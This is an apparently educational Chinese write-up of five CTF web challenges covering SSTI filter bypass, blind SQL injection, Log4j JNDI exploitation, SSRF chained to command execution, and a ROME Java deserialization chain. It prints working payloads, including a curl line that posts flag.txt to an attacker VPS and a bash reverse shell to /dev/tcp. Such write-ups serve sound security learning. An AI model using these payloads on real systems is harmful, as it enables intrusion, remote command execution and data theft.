CTF Web 的一些比赛题 Writeup
字数 1448 2025-08-06 20:12:36

CTF Web题目Writeup解析与教学文档

目录

  1. DASCTF2022 7月赛 - Harddisk (SSTI绕过)
  2. DASCTF2022 7月赛 - 绝对防御 (SQL盲注)
  3. tenableCTF - Log Forge (Log4j漏洞利用)
  4. CISCN2022_西北分区赛 - MagicProxy (SSRF+命令执行)
  5. CISCN2022_华东北分区赛 - Java题 (ROME反序列化链)

1. DASCTF2022 7月赛 - Harddisk (SSTI绕过)

题目分析

  • 初始以为是SQL注入,但输入内容会回显,判断为SSTI(服务器端模板注入)
  • 测试发现{{}}被过滤,但{%%}可用
  • print关键字被过滤,需要无回显利用

绕过技巧

  1. 字符过滤绕过

    • 使用attr过滤器调用属性
    • 使用Unicode编码绕过关键字过滤(\u005f代替_等)
    • 使用换行符\n代替空格
  2. 构造对象链

    {}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")
    

    等价于:{}.__class__.__base__

  3. 查找目标类

    • 使用__subclasses__()列出所有子类
    • 通过循环和条件判断定位os._wrap_close

最终Payload

{% for c in {}|attr("__class__")|attr("__base__")|attr("__subclasses__")() %}
{% if c|attr("__name__") in "_wrap_close" %}
{{ c|attr("__init__")|attr("__globals__")|attr("get")("popen")("cmd") }}
{% endif %}
{% endfor %}

2. DASCTF2022 7月赛 - 绝对防御 (SQL盲注)

题目分析

  • 发现GET参数id存在注入点
  • 数字型注入,过滤了if函数和union select
  • 表结构猜测:id, username, password

注入技巧

  1. 使用LIKE进行盲注

    2 and password like '%'#
    

    等价于:select username from users where id = 1 and password like '%'#

  2. Python自动化脚本

    import requests
    import time
    
    flag = ""
    chars = "0123456789QAZXSWEDCVFRTGBNHYUJMKIOLP-{}"
    
    for j in range(1, 120):
        for i in chars:
            if i in "-{}":
                i = "\\" + i
            url = f"http://target/SUPPERAPI.php?id=2 and password like '{flag}{i}%25'#"
            res = requests.get(url)
            time.sleep(0.1)  # 防止429错误
            if "flag" in res.text:
                flag += i
                print(flag)
                break
    

3. tenableCTF - Log Forge (Log4j漏洞利用)

漏洞分析

  • 使用Log4j-core 2.14.0版本,存在CVE-2021-44228漏洞
  • 可控变量dbgmsg可用于触发漏洞

利用步骤

  1. 搭建恶意LDAP服务器

    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your_vps_ip -p 8080 -l 8089
    
  2. 构造恶意Payload

    ${jndi:ldap://your_vps_ip:1389/Exploit}
    
  3. 触发漏洞
    通过可控参数发送Payload,服务器会请求恶意LDAP服务并执行命令

4. CISCN2022_西北分区赛 - MagicProxy (SSRF+命令执行)

漏洞分析

  1. SSRF漏洞

    • /proxy路由接收url参数
    • 限制:必须使用http/https协议,不能使用本地IP
    • 支持30x重定向且重定向后无限制
  2. 命令执行

    • /admin路由接收command参数
    • 限制:仅允许127.0.0.1访问
    • 需要Basic认证:Admin:AdminE6fdEiU7

利用步骤

  1. 构造重定向服务

    from flask import Flask, redirect
    
    app = Flask(__name__)
    
    @app.route('/')
    def hello_world():
        return redirect('http://127.0.0.1:8080/admin?command=curl%20-X%20POST%20-F%20xx=@flag.txt%20http://your_vps:8989/', code=301)
    
    if __name__ == '__main__':
        app.run(host="0.0.0.0", port=8080)
    
  2. 发送SSRF请求

    GET /proxy?url=http://your_redirect_server HTTP/1.1
    Host: target
    Authorization: Basic QWRtaW46QWRtaW5FNmZkRWlVNw==
    

5. CISCN2022_华东北分区赛 - Java题 (ROME反序列化链)

漏洞分析

  • 使用ToStringBean类,考察ROME反序列化链
  • 利用BadAttributeValueExpException作为入口点

利用步骤

  1. 编写恶意类

    public class atao extends AbstractTranslet {
        public atao() throws IOException {
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "exec bash -i &>/dev/tcp/ip/port <&1"});
        }
        // 其他必要方法...
    }
    
  2. 构造利用链

    TemplatesImpl templates = new TemplatesImpl();
    // 设置_bytecodes, _name, _tfactory字段
    
    ToStringBean bean = new ToStringBean(Templates.class, templates);
    BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
    // 通过反射设置val字段为bean
    
  3. 生成Payload

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(bad);
    oos.close();
    String payload = Base64.getEncoder().encodeToString(baos.toByteArray());
    
  4. 发送Payload
    将生成的Base64编码字符串URL编码后发送

总结

本教学文档涵盖了多种CTF Web题型的关键解法,包括:

  • SSTI绕过技巧
  • SQL盲注自动化
  • Log4j漏洞利用
  • SSRF与命令执行结合
  • Java反序列化链构造

每种技术都提供了详细的利用步骤和代码示例,可作为CTF解题的参考指南。

CTF Web题目Writeup解析与教学文档 目录 DASCTF2022 7月赛 - Harddisk (SSTI绕过) DASCTF2022 7月赛 - 绝对防御 (SQL盲注) tenableCTF - Log Forge (Log4j漏洞利用) CISCN2022_ 西北分区赛 - MagicProxy (SSRF+命令执行) CISCN2022_ 华东北分区赛 - Java题 (ROME反序列化链) 1. DASCTF2022 7月赛 - Harddisk (SSTI绕过) 题目分析 初始以为是SQL注入,但输入内容会回显,判断为SSTI(服务器端模板注入) 测试发现 {{}} 被过滤,但 {%%} 可用 print 关键字被过滤,需要无回显利用 绕过技巧 字符过滤绕过 : 使用 attr 过滤器调用属性 使用Unicode编码绕过关键字过滤( \u005f 代替 _ 等) 使用换行符 \n 代替空格 构造对象链 : 等价于: {}.__class__.__base__ 查找目标类 : 使用 __subclasses__() 列出所有子类 通过循环和条件判断定位 os._wrap_close 类 最终Payload 2. DASCTF2022 7月赛 - 绝对防御 (SQL盲注) 题目分析 发现GET参数 id 存在注入点 数字型注入,过滤了 if 函数和 union select 表结构猜测:id, username, password 注入技巧 使用LIKE进行盲注 : 等价于: select username from users where id = 1 and password like '%'# Python自动化脚本 : 3. tenableCTF - Log Forge (Log4j漏洞利用) 漏洞分析 使用Log4j-core 2.14.0版本,存在CVE-2021-44228漏洞 可控变量 dbgmsg 可用于触发漏洞 利用步骤 搭建恶意LDAP服务器 : 构造恶意Payload : 触发漏洞 : 通过可控参数发送Payload,服务器会请求恶意LDAP服务并执行命令 4. CISCN2022_ 西北分区赛 - MagicProxy (SSRF+命令执行) 漏洞分析 SSRF漏洞 : /proxy 路由接收 url 参数 限制:必须使用http/https协议,不能使用本地IP 支持30x重定向且重定向后无限制 命令执行 : /admin 路由接收 command 参数 限制:仅允许127.0.0.1访问 需要Basic认证: Admin:AdminE6fdEiU7 利用步骤 构造重定向服务 : 发送SSRF请求 : 5. CISCN2022_ 华东北分区赛 - Java题 (ROME反序列化链) 漏洞分析 使用 ToStringBean 类,考察ROME反序列化链 利用 BadAttributeValueExpException 作为入口点 利用步骤 编写恶意类 : 构造利用链 : 生成Payload : 发送Payload : 将生成的Base64编码字符串URL编码后发送 总结 本教学文档涵盖了多种CTF Web题型的关键解法,包括: SSTI绕过技巧 SQL盲注自动化 Log4j漏洞利用 SSRF与命令执行结合 Java反序列化链构造 每种技术都提供了详细的利用步骤和代码示例,可作为CTF解题的参考指南。